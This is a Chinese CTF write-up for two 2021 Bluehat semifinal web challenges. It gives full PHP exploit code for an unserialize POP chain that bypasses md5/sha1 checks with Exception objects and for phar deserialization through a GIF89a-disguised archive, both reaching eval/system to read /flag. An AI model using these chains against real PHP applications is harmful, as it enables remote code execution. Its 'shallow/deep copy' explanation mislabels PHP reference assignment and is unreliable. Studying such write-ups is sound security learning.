2021 Bluehat Semifinal web wp
0x01 杰克爱罗斯
进入容器发现是php文件,获取源码如下:
<?php
highlight_file(__file__);
class Jack
{
private $action;
function __set($a, $b)
{
$b->$a();
}
}
class Love {
public $var;
function __call($a,$b)
{
$rose = $this->var;
call_user_func($rose);
}
private function action(){
echo "jack love rose";
}
}
class Titanic{
public $people;
public $ship;
function __destruct(){
$this->people->action=$this->ship;
}
}
class Rose{
public $var1;
public $var2;
function __invoke(){
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
eval($this->var1);
}
}
}
if(isset($_GET['love'])){
$sail=$_GET['love'];
unserialize($sail);
}
?>
-
知识扩展1:php魔术方法
__construct() -> 在创建类对象时自动调用
__destruct() -> 在销毁类对象时自动调用(在php结束时自动销毁类对象)
__wakeup() -> 在反序列化类对象时自动调用
__set($name, $value) -> 在尝试为类对象中无法访问的变量进行赋值时调用,$name为相应的无法访问的变量,$value为相应的将要为该变量赋的值
__get($name) -> 在尝试访问类对象中无法访问的变量时进行调用,$name为相应的无法访问的变量
__toString() -> 在尝试输出类对象时调用的函数,直接将对象转化为String类型
__call() -> 在尝试从外部调用一个私有类函数时触发的方法
__invoke() -> 在尝试用函数调用方式调用类对象时触发的方法
由于源码可知,需要通过Titanic->Jack->Love->Rose的调用方式进行调用,通过Titanic类中的people->action触发Jack类中的__set方法,从而通过调用action()触发Love类中的__call方法,以函数调用方式调用Rose类对象,触发Rose类对象中的__invoke方法,从而到达命令执行函数eval。
-
知识扩展2:通过php原生类
Exception绕过md5与sha1检测在php中,当对两个
Exception类对象进行md5和sha1加密时,由于Exception类中的__toString魔术方法,当加密时仅会加密其message部分,而后面的部分会被忽略,因而可以通过该技巧绕过md5和sha1加密。
exp:
<?php
class Jack
{
private $action=1;
function __set($a, $b)
{
$b->$a();
}
}
class Love {
public $var;
function __call($a,$b)
{
$rose = $this->var;
call_user_func($rose);
}
private function action(){
echo "jack love rose";
}
}
class Titanic{
public $people;
public $ship;
function __destruct(){
$this->people->action=$this->ship;
}
}
class Rose{
public $var1;
public $var2;
function __invoke(){
}
}
$str = "?><?php eval(system('cat /flag'));?>";
$a = new Exception($str,1);$b = new Exception($str,2);
$exp = new Titanic;
$exp->people = new Jack;
$exp2 = new Love;
$exp2->var = new Rose();
$exp2->var->var1 = $a;
$exp2->var->var2 = $b;
$exp->people->action = $exp2;
$exp->ship = $exp2;
echo urlencode(serialize($exp));
?>
0x02 不一样的web
进入平台发现文件上传,在网页源码提示中又观察到了两个类对象Test和Read,推测是phar反序列化漏洞。观察到源码类中有文件读取lib.php,构造exp读取lib.php:
readlib.php
<?php
class Read{
public $name;
public function file_get()
{
$text = base64_encode(file_get_contents("lib.php"));
echo $text;
}
}
class Test{
public $f;
public function __construct($value){
$this->f = $value;
}
public function __wakeup()
{
$func = $this->f;
$func();
}
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$b = Array('Read','file_get');
$a = new Test($b);
$phar -> setMetadata($a);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();
?>
lib.php
<?php
error_reporting(0);
class Modifier{
public $old_id;
public $new_id;
public $p_id;
public function __construct(){
$this->old_id = "1";
$this->new_id = "0";
$this->p_id = "1";
}
public function __get($value){
$new_id = $value;
$this->old_id = random_bytes(16);
if($this->old_id===$this->new_id){
system($this->p_id);
}
}
}
class Read{
public function file_get()
{
$text = base64_encode(file_get_contents("lib.php"));
echo $text;
}
}
class Files{
public $filename;
public function __construct($filename){
$this->filename = $this->FilesWaf($filename);
}
public function __wakeup(){
$this->FilesWaf($this->filename);
}
public function __toString(){
return $this->filename;
}
public function __destruct(){
echo "Your file is ".$this->FilesWaf($this->filename).".</br>";
}
public function FilesWaf($name){
if(stristr($name, "/")!==False){
return "index.php";
}
return $name;
}
}
class Test{
public $f;
public function __construct($value){
$this->f = $value;
}
public function __wakeup()
{
$func = $this->f;
$func();
}
}
class User{
public $name;
public $profile;
public function __construct($name){
$this->name = $this->UserWaf($name);
$this->profile = "I am admin.";
}
public function __wakeup(){
$this->UserWaf($this->name);
}
public function __toString(){
return $this->profile->name;
}
public function __destruct(){
echo "Hello ".$this->UserWaf($this->name).".</br>";
}
public function UserWaf($name){
if(strlen($name)>10){
return "admin";
}
if(!preg_match("/[a-f0-9]/iu",$name)){
return "admin";
}
return $name;
}
}
观察到类Modifier中存在system函数即命令执行,则需要通过__get魔术方法来调用Modifier类从而触发命令执行。
而观察到User类中存在__toString魔术方法,而且调用了一个并不存在的参数,因而可以通过User类的__toString方法调用Modifier的__get方法从而到达Modifier方法。
而在Modifier方法中存在一个random_bytes()函数,使得无法构造常规的new_id()达到与old_id()相同的效果,因而采用深浅拷贝的方式。
浅拷贝:诸如$a = $b,即将b的值赋值给a,而当b改变时a并不改变
深拷贝:诸如$a = &$b,即将b的地址赋值给a,即a指向b的地址,当b改变时由于a指向的值发生了改变,a也相应地发生改变。
因而最终exp如下:
<?php
class Modifier{
public $old_id;
public $new_id;
public $p_id;
public function __construct(){
$this->old_id = "1";
$this->new_id = "0";
$this->p_id = "cat /flag";
}
public function __get($value){
}
}
class User{
public $name;
public $profile;
public function __construct($name){
$this->name = $this->UserWaf($name);
$this->profile = "I am admin.";
}
public function __wakeup(){
$this->UserWaf($this->name);
}
public function __toString(){
return $this->profile->name;
}
public function __destruct(){
echo "Hello ".$this->UserWaf($this->name).".</br>";
}
public function UserWaf($name){
if(strlen($name)>10){
return "admin";
}
if(!preg_match("/[a-f0-9]/iu",$name)){
return "admin";
}
return $name;
}
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$a = new User("abb");
$b = new User("bcc");
$exp = new Modifier;
$a -> name = &$b;
$exp->new_id = &$exp->old_id;
$b -> profile = &$exp;
$phar -> setMetadata($a);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();
?>